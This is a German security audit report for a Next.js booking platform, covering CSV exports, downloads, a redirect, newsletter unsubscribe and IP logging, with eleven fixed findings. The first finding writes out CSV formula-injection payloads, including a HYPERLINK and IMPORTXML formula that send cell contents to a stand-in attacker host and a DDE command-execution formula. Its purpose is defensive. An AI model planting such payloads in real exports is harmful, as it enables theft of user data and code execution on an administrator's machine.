

CM Track 19: Exporte, Downloads, Weiterleitungen und Protokolle

Datum: 2026-08-28 **Stack:** Next.js 15, React 19, TypeScript 5.9, Supabase SDK 2.98, Stripe 20.4 **Tests:** 1342 → 1430 (88 neue), alle gruen **Typecheck:** `tsc --noEmit` ohne Fehler · **Lint:** 0 Fehler · **Build:** `next build` kompiliert fehlerfrei (die anschliessende statische Erzeugung laeuft lokal ohne `SUPABASE_SERVICE_ROLE_KEY` nicht durch — das ist der bekannte lokale Zustand, kein Ergebnis dieses Tracks)

Zusammenfassung

Die Tracks 11 bis 18 haben die Strecken auditiert, auf denen Geld, Rollen und Buchungen entstehen. Dieser Track nimmt die Gegenrichtung: **die Stellen, an denen Daten die Anwendung verlassen** — CSV-Exporte, Datei-Downloads, die einzige offene Weiterleitung, die Newsletter-Abmeldung — und die Protokolle, in denen unterwegs etwas liegen bleibt.

Elf Befunde, alle behoben. Der schwerste ist keiner, den die Anwendung selbst ausfuehrt: der Benutzer- und der Abonnenten-Export haben Nutzereingaben unveraendert in eine Datei geschrieben, die ein Admin spaeter **in Excel oeffnet**. Eine Zelle, die mit `=` beginnt, ist dort kein Text, sondern eine Formel. Der Name kommt aus einem oeffentlichen, nicht angemeldeten Formular.

Zweiter Schwerpunkt: die Newsletter-Abmeldung lief vollstaendig ueber GET. Postfach-Linkscanner rufen jede URL einer eingehenden Mail auf — jeder dieser Aufrufe hat den Empfaenger abgemeldet, ohne dass jemand geklickt hat.

Befund 1: CSV-Formeleinschleusung in den Exporten (HOCH)

Schweregrad: P1. Die Nutzereingabe verlaesst ChairMatch vollstaendig. Sie wird nicht mehr im Browser gerendert, wo React sie escapen wuerde, sondern in einem fremden Programm auf dem Rechner eines Admins geoeffnet.

Drei Exporte, ein Fehler:

Export	Nutzergesteuertes Feld	Wer kann es setzen
<code>GET /api/admin/export?type=users</code>	<code>profiles.full_name</code> , <code>profiles.email</code>	jeder, der sich registriert
<code>GET /api/admin/export?type=compliance</code>	<code>salons.name</code> , <code>document_type</code>	jeder Anbieter
Abonnenten-Export (<code>SubscribersClient.exportCsv</code>)	<code>newsletter_subscribers.name</code> , <code>.email</code>	jeder, ohne Anmeldung

Exploit-Pfad (der kuerzeste):

```
POST /api/newsletter
{ "email": "beliebig@example.de",
  "name": "=HYPERLINK(\"https://angreifer.example/?d=\"&A1;\"Rechnung oeffnen\")" }
```

Kein Konto, keine Session — `name` ist in `POST /api/newsletter` optional und bis 120 Zeichen frei. Der Eintrag landet in `newsletter_subscribers`. Sobald ein Admin unter `/admin/newsletter/subscribers` auf "Export" klickt und die Datei oeffnet, wertet Excel, LibreOffice Calc oder Google Sheets die Zelle als Formel aus:

- `=HYPERLINK(...&A1;...)` baut einen anklickbaren Link, der den Inhalt der Nachbarzelle (eine fremde E-Mail-Adresse) an die Adresse des Angreifers haengt — Ausleitung aus der Abonnentenliste per Klick.
- `=cmd|'/c calc'!A0` startet in aelteren Excel-Staenden ueber DDE ein Programm auf dem Rechner des Admins.
- `=IMPORTXML("https://angreifer.example/?d="&A1;"//a")` ruft in Google Sheets ohne jeden Klick ab.

Der bisherige Code hat korrekt fuer den **CSV-Parser** escaped (Trennzeichen, Anfuhrungszeichen) — und genau das hilft hier nicht: Excel wertet auch `"=1+1"` als Formel aus. Der Abonnenten-Export im Client hat nicht einmal das getan, er ersetzte lediglich Kommas durch Leerzeichen.

FIX: Neuer gemeinsamer Baustein `src/lib/csv.ts`. `csvCell()` stellt einer Zelle, die mit `=`, `+`, `-`, `@`, Tab oder Wagenruecklauf beginnt, ein Apostroph voran (OWASP: CSV Injection) — reine Zahlen ausgenommen, damit ein negativer Betrag im Steuerberater-Export eine Zahl bleibt. Alle drei Exporte benutzen jetzt `toCsv()`; die beiden lokalen Escape-Funktionen sind entfallen.

Dateien: `src/lib/csv.ts` (neu), `src/app/api/admin/export/route.ts`,
`src/app/api/provider/dashboard/export/route.ts`,
`src/app/(admin)/admin/newsletter/subscribers/SubscribersClient.tsx`

Befund 2: Ein Wagenruecklauf zerlegte die CSV-Zeile (MITTEL)

Beide serverseitigen Exporte quoteten einen Wert, wenn er das Trennzeichen, ein Anfuhrungszeichen oder `\n` enthielt — `\r` fehlte in beiden.

Ein Name aus einem Windows-Formular, der einen einzelnen Wagenruecklauf enthaelt, blieb damit ungequotet. Tabellenkalkulationen und die meisten CSV-Parser trennen Zeilen an CR, CRLF und LF gleichermassen: ab dieser Zeile ist die Datei um eine Spalte verschoben, und die Werte darunter stehen unter falschen Ueberschriften. Fuer einen Export, der die Grundlage einer Steuermeldung oder einer Behoerdenauskunft ist, ist das keine Kosmetik.

FIX: `csvCell()` quotet `\r` mit, wirft uebrige Steuerzeichen weg und schreibt Zeilen nach RFC 4180 mit CRLF.

Befund 3: Content-Disposition-Injection im Termin-Download (MITTEL)

GET `/api/calendar?bookingId=...` liefert den Termin als `.ics` und baute den Header so:

```
const filename = `chairmatch-${serviceName.replace(/\s+/g, '-').toLowerCase()}.ics`
'Content-Disposition': `attachment; filename="${filename}"`
```

`serviceName` ist der Name einer Leistung. Den schreibt der **Anbieter** selbst (POST `/api/provider/services`, Zod: 2 bis 120 Zeichen, sonst ohne Einschraenkung — Anfuhrungszeichen und Zeilenumbrueche eingeschlossen). Zwei Folgen:

1. **Ausbruch aus dem Wert.** Eine Leistung namens `Schnitt`; `filename="rechnung.html"` erzeugt einen Header mit zwei `filename`-Parametern. Welchen ein Browser nimmt, ist nicht festgelegt — der Anbieter bestimmt damit, unter welchem Namen die Datei im Download-Ordner seiner Kundin landet. 2. **Kaputter Download.** Ein Zeilenumbruch im Namen ist ein ungueltiger Header-Wert; undici wirft beim Bauen der Response, der `catch` der Route macht daraus einen 500. Der Kalender-Download waere fuer diese Leistung dauerhaft kaputt, ohne dass irgendwo etwas dazu steht.

FIX: Neuer Baustein `src/lib/content-disposition.ts`. `sanitizeFilename()` entfernt Steuerzeichen, Anfuhrungszeichen, Backslash, Pfadtrenner und Semikolon, deckelt auf 100 Zeichen und faellt auf einen Ersatznamen zurueck; `attachmentDisposition()` baut daraus den vollstaendigen Header und haengt fuer Umlaute `filename*=UTF-8'`... nach RFC 5987 an. Angewendet auf `/api/calendar`, `/api/admin/export` und den Behoerdenpaket-Download.

Dateien: `src/lib/content-disposition.ts` (neu), `src/app/api/calendar/route.ts`,
`src/app/api/admin/export/route.ts`, `src/app/api/owner/authorities-pack/[id]/download/route.ts`

Befund 4: ICS-Escape ohne `\r`, plus ein falscher Beschreibungsumbruch (MITTEL)

`generateICS()` escaped Backslash, Semikolon, Komma und `\n` — `\r` **nicht**. `bookings.notes` schreibt die Kundin beim Buchen selbst. Kommt der Text aus einem Windows-Formular, blieb der Wagenruecklauf als rohes Steuerzeichen mitten in der `DESCRIPTION`-Zeile stehen. RFC 5545 verlangt CRLF als Zeilenende, aber nicht jeder Kalender-Client haelt sich beim Lesen daran; ein Parser, der an CR trennt, liest ab dort eine neue iCalendar-Eigenschaft — also Fremdinhalt, den die Kundin in den Kalender ihres Anbieters schreibt.

Dazu ein zweiter Fehler in derselben Funktion, ohne Sicherheitsbezug, aber in jeder ausgelieferten Datei sichtbar: die Beschreibungsteile wurden **vor** dem Escape mit `'\\n'` verbunden, der Escape verdoppelte den Backslash danach. Im Kalender stand buchstaeblich

```
Service: Schnitt\nSalon: Salon Test\nAdresse: ...
```

in einer einzigen Zeile statt untereinander.

FIX: Steuerzeichen werden entfernt, `\r\n|\r|\n` einheitlich zu `\n` escaped, und die Teile werden einzeln escaped und erst danach verbunden.

Datei: `src/lib/calendar.ts`

Befund 5: `/api/analytics/vitals` gab die rohe PostgREST-Meldung zurueck (MITTEL)

```
return NextResponse.json({ error: error.message }, { status: 500 })
```

Track 18 hat diese Bauart auf 25 Dateien durch `dbError()` ersetzt — diese Stelle ist dabei durchgerutscht. Der Endpunkt ist **oeffentlich und ohne Anmeldung** erreichbar (Middleware-Whitelist `/api/analytics/`). Ein Besucher, der eine Messung schickt, bekam bei einem Fehler Tabellennamen, Spaltennamen, RLS-Policy-Namen und PostgreSQL-Fehlercodes im Klartext.

FIX: `dbError('analytics-vitals-POST', error)` — Detail ins Server-Log, "Interner Fehler" an den Client. Der 202-Zweig fuer fehlende Migrationen bleibt unveraendert.

Datei: `src/app/api/analytics/vitals/route.ts`

Befund 6: Drei Protokolle mit Klartext-IP (MITTEL, DSGVO)

Track 12 hat `consents`, Track 17 die Wait-List und Track 18 `analytics/visit` auf `hashIp()` umgestellt. Drei Stellen waren noch offen:

Tabelle	Was dort stand	Wer betroffen ist
<code>affiliate_clicks.ip</code>	rohe IP + User-Agent + Ziel + Quelle	jeder Besucher , auch ohne Anmeldung
<code>error_logs.ip</code>	rohe IP jedes Client-Fehlers	jeder Besucher; ueber <code>GET /api/errors</code> fuer jeden Admin lesbar
<code>login_attempts.ip</code>	rohe IP plus die eingegebene E-Mail , bei jedem Versuch	jeder, der sich anzumelden versucht

`affiliate_clicks` ist der unangenehmste der drei: Adresse, Geraetekennung, Zeitpunkt und angeklicktes Produkt in einer Zeile, unbegrenzt aufbewahrt, ueber Personen, die von einer Datenerhebung nichts wissen. Fuer die Auswertung ("kommen zwei Klicks aus derselben Quelle?") reicht der Kennwert genauso.

FIX: HMAC-SHA-256 mit `CONSENT_IP_SALT` bzw. dem Auth-Geheimnis an allen drei Stellen.

Fuer `login_attempts` in einer zweiten Fassung: `src/middleware.ts` importiert `auth` aus `auth.config.ts`, webpack zieht das Modul damit in das **Edge-Bundle**, und ein `import { createHmac } from 'node:crypto'` darin bricht den Build (`UnhandledSchemeError`). Die Umstellung ist genau daran zuerst gescheitert. `src/lib/ip-hash-web.ts` rechnet denselben HMAC mit Web Crypto (`crypto.subtle`), das es in beiden Laufzeiten gibt; der Wert ist bitgleich, und ein Test in `src/lib/__tests__/ip-hash.test.ts` haelt beide Fassungen aneinander fest — sonst waere derselbe Besucher in zwei Tabellen zwei verschiedene Kennwerte.

Bei `login_attempts` ist die Spalte gleichzeitig der **Zaehlschluessel des Fehlversuchslimits** (10 Fehlversuche / 15 Minuten). Der HMAC ist deterministisch, `.eq('ip', ...)` findet die Zeilen also weiterhin und das Limit greift unveraendert. Zwei Dinge stehen dazu ausdruecklich im Code:

- Der Rueckfall `hashIp(ip) ?? ip` greift nur, wenn **weder** `CONSENT_IP_SALT` **noch** `NEXTAUTH_SECRET / AUTH_SECRET` gesetzt sind — in einer laufenden Installation unmoeglich, weil NextAuth ohne dieses Geheimnis gar nicht startet. Er steht trotzdem da, weil die Alternative (alle Versuche auf einen gemeinsamen Schluessel) bedeuten wuerde, dass zehn Fehlversuche irgendwo die Anmeldung fuer alle sperren.

- **Operative Folge:** bestehende Zeilen tragen noch den Rohwert und werden vom neuen Schluessel nicht mehr getroffen. Eine zum Deploy-Zeitpunkt laufende Sperre wird dadurch einmalig zurueckgesetzt.

Dateien: `src/app/api/affiliate/track/[productId]/route.ts`, `src/lib/error-tracking.ts`,
`src/modules/auth/auth.config.ts`, `src/lib/ip-hash-web.ts` (neu)

Befund 7: Die Newsletter-Abmeldung lief ueber GET (MITTEL)

`/unsubscribe?token=...` hat die Abmeldung **im GET** vorgenommen, `&action=resubscribe` die Wiederanmeldung. Drei Probleme in einem:

(a) Linkscanner melden ab. Microsoft Defender for Office (Safe Links), Barracuda, Proofpoint und diverse Virens Scanner rufen jede URL einer eingehenden Mail auf, bevor ein Mensch sie sieht. Jeder dieser Aufrufe hat den Empfaenger abgemeldet. Der Newsletter hoerte auf zu kommen, im Bestand stand `status = 'unsubscribed'` — und niemand hatte etwas getan. Fuer eine Einwilligung ist der Datenbankstand damit falsch in beide Richtungen: er behauptet einen Widerruf, den es nicht gab.

(b) Der One-Click-Knopf war eine Zusage ohne Deckung. Der Versand setzt `List-Unsubscribe-Post: List-Unsubscribe=One-Click` — damit sagt ChairMatch jedem Mailanbieter nach RFC 8058 zu, dass die in `List-Unsubscribe` genannte Adresse ein **POST** entgegennimmt. Genannt war die Seite `/unsubscribe`, eine Next.js-Page ohne POST-Handler. Der "Abmelden"-Knopf in Gmail und Outlook lief ins Leere.

(c) Die Ergebnisseite nannte die E-Mail-Adresse. "Wir haben `name@example.de` aus unserer Liste entfernt" — der Token wandert durch Referrer, Proxy-Logs und Browserverlauf, und wer die URL sieht, bekam die zugehoerige Adresse mitgeliefert.

FIX:

- Neue Route `POST /api/newsletter/unsubscribe`. Sie nimmt den Token aus der Query (One-Click) **oder** aus dem Formular der Bestaetigungsseite, aendert nur auf POST, ist auf 20 Anfragen pro Minute und IP gedeckelt (der Token ist das einzige Geheimnis der Route) und antwortet einem Browser mit 303 auf die Ergebnisseite, einem Mailanbieter mit JSON.
- `/unsubscribe` fragt jetzt nur noch und schreibt nichts mehr: ein gewoehnliches `<form method="post">`, das ohne JavaScript funktioniert.
- `buildOneClickUnsubscribeUrl()` fuer den Header, `buildUnsubscribeUrl()` (Seite) bleibt der sichtbare Link in der Mail. Nur der eine darf abmelden, nur der andere wird von Scannern aufgerufen.
- Die E-Mail-Adresse steht weder in der Antwort noch im Redirect.

Dateien: `src/app/api/newsletter/unsubscribe/route.ts` (neu), `src/app/unsubscribe/page.tsx`, `src/lib/newsletter-template.ts`, `src/lib/newsletter-sender.ts`

Befund 8: `PATCH /api/admin/tickets/[id]` verwarf einen Status still (NIEDRIG)

```
const updates = { updated_at: new Date().toISOString() }
if (['OPEN', 'IN_PROGRESS', 'SUBMITTED', 'DONE'].includes(status)) updates.status = status
...
return NextResponse.json({ ok: true })
```

Ein unbekannter Status wurde wortlos verworfen: geschrieben wurde nur `updated_at`, geantwortet `{ ok: true }`. Der Admin sah eine erfolgreiche Aenderung, das Ticket stand unveraendert da — dieselbe Bauart wie die stillen Fehlschlaege aus Track 6 und 7.

FIX: Unbekannter Status → 400. Anfrage ohne jedes Feld → 400. `ok: true` heisst wieder, dass etwas passiert ist. Dazu UUID-Pruefung auf der Ticket-ID.

Datei: `src/app/api/admin/tickets/[id]/route.ts`

Befund 9: Fehlende UUID-Pruefung auf elf Stellen (NIEDRIG)

Alle betroffenen Spalten sind in Postgres vom Typ `uuid`. Ein anderer Wert laeuft in 22P02 (`invalid input syntax for type uuid`) — ein Datenbankfehler fuer eine reine Falscheingabe. Die Routen machten daraus einen 500, oder, wo `.single()` im Spiel war, ein irrefuehrendes 404 ("Buchung nicht gefunden", obwohl die Eingabe keine ID war).

Betroffen: `/api/calendar (bookingId)`, `/api/compliance (GET+POST salonId)`, `/api/compliance/check`, `/api/compliance/[id] (PUT+DELETE)`, `/api/messages/[conversationId]`, `/api/messages (POST: receiverId, conversationId, salonId)`, `/api/owner/documents (owner_id)`, `/api/owner/authorities-pack (location_id)`, `/api/owner/authorities-pack/[id]/download`, `/api/admin/documents/[id]`, `/api/admin/tickets/[id]`, `/api/affiliate/track/[productId]`.

FIX: Track 18 hat diese Pruefung auf zehn Routen eingezogen, jede mit einer eigenen Kopie derselben Regex. Ab jetzt gibt es da fuer eine Stelle: `src/lib/uuid.ts` mit `isUuid()`. Die bestehenden Kopien bleiben unberuehrt — sie sind korrekt, und sie umzustellen waere eine Aenderung ohne Wirkung.

Datei: `src/lib/uuid.ts` (neu) + die genannten Routen

Befund 10: Ungepruefte URL- und Datumsfelder (NIEDRIG)

`POST /api/compliance` nahm `fileUrl` als beliebige Zeichenkette an, `POST /api/owner/documents` ebenso `file_url`. Beide Werte werden gespeichert, **damit sie spaeter jemand oeffnet**. Heute rendert kein Bildschirm daraus einen Link — `/admin/dokumente` zeigt nur Typ und Status —, aber der Wert liegt dann bereits in der Datenbank und wartet auf den ersten Bildschirm, der ein `<a href>` daraus macht. `javascript:` und `data:` waeren dort in genau der Sitzung wirksam, die Dokumente freigibt: der des Admins.

Dazu in derselben Route: `expiresAt` ging ungeprueft in eine Datumsspalte (22007 → 500 fuer eine Falscheingabe), `fileName` und die Pruefernotiz `notes` waren unbegrenzt lang.

FIX: Neuer Baustein `src/lib/safe-url.ts` mit `isSafeHttpUrl()` — geprueft wird an der Schreibstelle, nicht an der Lesestelle, weil man eine Lesestelle vergisst. Dazu `Date.parse`-Pruefung fuer `expiresAt`, 255 Zeichen fuer `fileName`, 2000 fuer `notes`.

Dateien: `src/lib/safe-url.ts` (neu), `src/app/api/compliance/route.ts`, `src/app/api/compliance/[id]/route.ts`, `src/app/api/owner/documents/route.ts`

Befund 11: Ungepruefte Weiterleitung in `/api/affiliate/track` (NIEDRIG)

```
return NextResponse.redirect(product.product_url, 302)
```

`/api/affiliate/track/[productId]` ist die einzige offene Weiterleitung der Plattform. Das Ziel kommt aus `affiliate_products.product_url`. `POST /api/admin/affiliate/products` prueft beim Schreiben auf `http(s)://` — die Weiterleitung selbst hat sich aber darauf verlassen, dass **jede** Zeile ueber genau diesen Weg entstanden ist. Fuer Altbestand oder eine per Hand gesetzte Zeile galt das nicht, und die Route haette den Besucher auf jedes beliebige Schema geschickt.

FIX: `isSafeHttpUrl()` vor dem Redirect; ohne gueltiges Ziel 404 und ein Eintrag im Server-Log. Dazu UUID-Pruefung auf `productId`.

Datei: `src/app/api/affiliate/track/[productId]/route.ts`

Ohne Befund (geprueft)

Bereich	Ergebnis
Postfach-Autorisierung	GET /api/messages und /api/messages/[conversationId] lesen den Nutzer ausschliesslich aus der Session; die Teilnehmerschaft wird vor dem Verlauf geprueft, ein Fremder bekommt 403 ohne zu erfahren, ob es die Konversation gibt
DSGVO-Export /api/account/export	Fragt jede Quelle mit der eigenen user_id / customer_id ab; keine fremden Zeilen, kein Weg, den Personenbezug von aussen zu waehlen. Der Dateiname ist ein ID-Praefix, kein Nutzerwert
Behoerdenpaket-Download	Eigentuemerpuefung ueber salons.owner_id; ein Lesefehler auf salons fuehrt zu 403, nicht zu einem offenen Download (fail closed)
Compliance-Zugriff	Nicht-Admins muessen Eigentuemmer des Salons sein; ein fehlgeschlagener Lookup sperrt
Termin-Download /api/calendar	Kundin, Salon-Inhaber oder Admin — geprueft nach dem Laden gegen customer_id und salons.owner_id
/api/admin/export Rollenpuefung	Admin/Super-Admin, Rolle pro Request aus der DB (Track 17)
Affiliate-Schreibroute	POST /api/admin/affiliate/products prueft http(s):// und ist admin-only
/api/csp-report	Body-Deckel 8 KB, Rate-Limit, schreibt bewusst in kein DB-Tabelle, kuerzt script-sample
/api/analytics/events	Slug-Whitelist auf event_name, 10-KB-Deckel auf props, Rate-Limit
Newsletter-Webhook	Svix-Signatur mit timingSafeEqual, 5-Minuten-Replay-Fenster, in Produktion ohne Secret 503 statt ungeprueftem Event
GET /api/errors	Admin-only, page / limit gedeckelt (max 100)
/api/investor	isInvestorOrAbove, nur Aggregate — keine Zeilen mit Personenbezug
/api/match	Zod auf allen Feldern, keine Session noetig, liefert nur oeffentliche Inseratsfelder

Bekannte Einschränkungen / bewusst offen

- Der Excel-Schutz ist sichtbar.** Ein vorangestelltes Apostroph ist der einzige verlaessliche Weg gegen Formelauswertung; in manchen Tabellenkalkulationen steht es danach als Zeichen in der Zelle. Ein Name, der mit = beginnt, sieht im Export also aus wie '=...'. Das ist der Preis, und er ist niedriger als die Alternative.
- GET /api/public-stats ist ohne Anmeldung erreichbar und ohne Rate-Limit.** Die Route zaehlt vier Tabellen vollstaendig und laedt zweimal alle Salons (city, category) ohne limit. Sie gibt keine personenbezogenen Daten heraus, aber sie ist die teuerste offene Route der Plattform. Nicht in diesem Track geaendert, weil ein Deckel dort die Startseiten-Kennzahlen betrifft und damit eine Produktentscheidung ist. Empfehlung: Rate-Limit plus Cache-Control: s-maxage.
- login_attempts hat weiterhin keine Aufbewahrungsfrist.** Die IP ist jetzt pseudonymisiert, die eingegebene E-Mail steht weiter im Klartext daneben — das ist fuer die Missbrauchserkennung gewollt, braucht aber eine Loeschregel. Es gibt einen cron/hard-delete; login_attempts steht dort nicht drin.
- Der Admin gibt Dokumente frei, ohne sie sehen zu koennen.** /admin/dokumente zeigt Typ, Status und Zuordnung, aber nicht den hinterlegten Link. Das ist kein Sicherheitsproblem — im Gegenteil, es ist der Grund, warum Befund 10 heute noch keine Wirkung hatte —, aber die Freigabe ist damit eine Entscheidung ohne Grundlage. Sobald der Link angezeigt wird, greift die neue Pruefung.
- Rate-Limiting bleibt In-Memory pro Lambda-Instanz** (unveraendert seit Track 18). Der neue Deckel auf /api/newsletter/unsubscribe teilt diese Einschränkung; die Middleware-Schicht (60/min fuer /api/*) ist die zweite Ebene.

Aenderungen im Ueberblick

Datei	Aenderung
src/lib/csv.ts	neu — csvCell / csvRow / toCsv mit Formel- und CR-Schutz
src/lib/content-disposition.ts	neu — sanitizeFilename / attachmentDisposition
src/lib/safe-url.ts	neu — isSafeHttpUrl
src/lib/uuid.ts	neu — isUuid
src/lib/ip-hash-web.ts	neu — Web-Crypto-Fassung von hashIp fuers Edge-Bundle
src/app/api/newsletter/unsubscribe/route.ts	neu — POST-Abmeldung (RFC 8058)
src/app/api/admin/export/route.ts	toCsv + attachmentDisposition + no-store
src/app/api/provider/dashboard/export/route.ts	toCsv (Semikolon, BOM) + attachmentDisposition
src/app/(admin)/admin/newsletter/subscribers/SubscribersClient.tsx	toCsv statt Hand-Join
src/lib/calendar.ts	\r -Escape, Steuerzeichen entfernt, Beschreibungsumbruch korrigiert
src/app/api/calendar/route.ts	UUID-Pruefung + attachmentDisposition + no-store
src/app/api/analytics/vitals/route.ts	dbError() statt error.message
src/app/api/affiliate/track/[productId]/route.ts	hashIp + UUID + geprueftes Redirect-Ziel
src/lib/error-tracking.ts	hashIp() fuer error_logs.ip
src/modules/auth/auth.config.ts	loginAttemptKey() — HMAC als Protokoll- und Zaehlschluessel
src/app/unsubscribe/page.tsx	fragt nur noch, schreibt nichts; keine E-Mail-Adresse mehr
src/lib/newsletter-template.ts	buildOneClickUnsubscribeUrl()
src/lib/newsletter-sender.ts	List-Unsubscribe zeigt auf den POST-Endpunkt
src/app/api/admin/tickets/[id]/route.ts	Status-Whitelist mit 400, UUID
src/app/api/compliance/route.ts	UUID, isSafeHttpUrl, expiresAt, fileName -Deckel
src/app/api/compliance/[id]/route.ts	UUID, notes -Deckel
src/app/api/compliance/check/route.ts	UUID
src/app/api/owner/documents/route.ts	UUID, isSafeHttpUrl
src/app/api/owner/authorities-pack/route.ts	UUID
src/app/api/owner/authorities-pack/[id]/download/route.ts	UUID + attachmentDisposition + no-store
src/app/api/admin/documents/[id]/route.ts	UUID
src/app/api/messages/route.ts	UUID auf receiverId / conversationId / salonId
src/app/api/messages/[conversationId]/route.ts	UUID
src/__tests__/track-19-exporte-downloads-weiterleitungen.test.ts	neu — 83 Tests

Datei	Aenderung
src/lib/__tests__/ip-hash.test.ts	5 Tests: Node- und Web-Fassung liefern denselben Wert
src/__tests__/e2e/auth-flow.test.ts	auf den pseudonymisierten Zaehlschluessel umgestellt, Klartext-IP-Riegel ergaenzt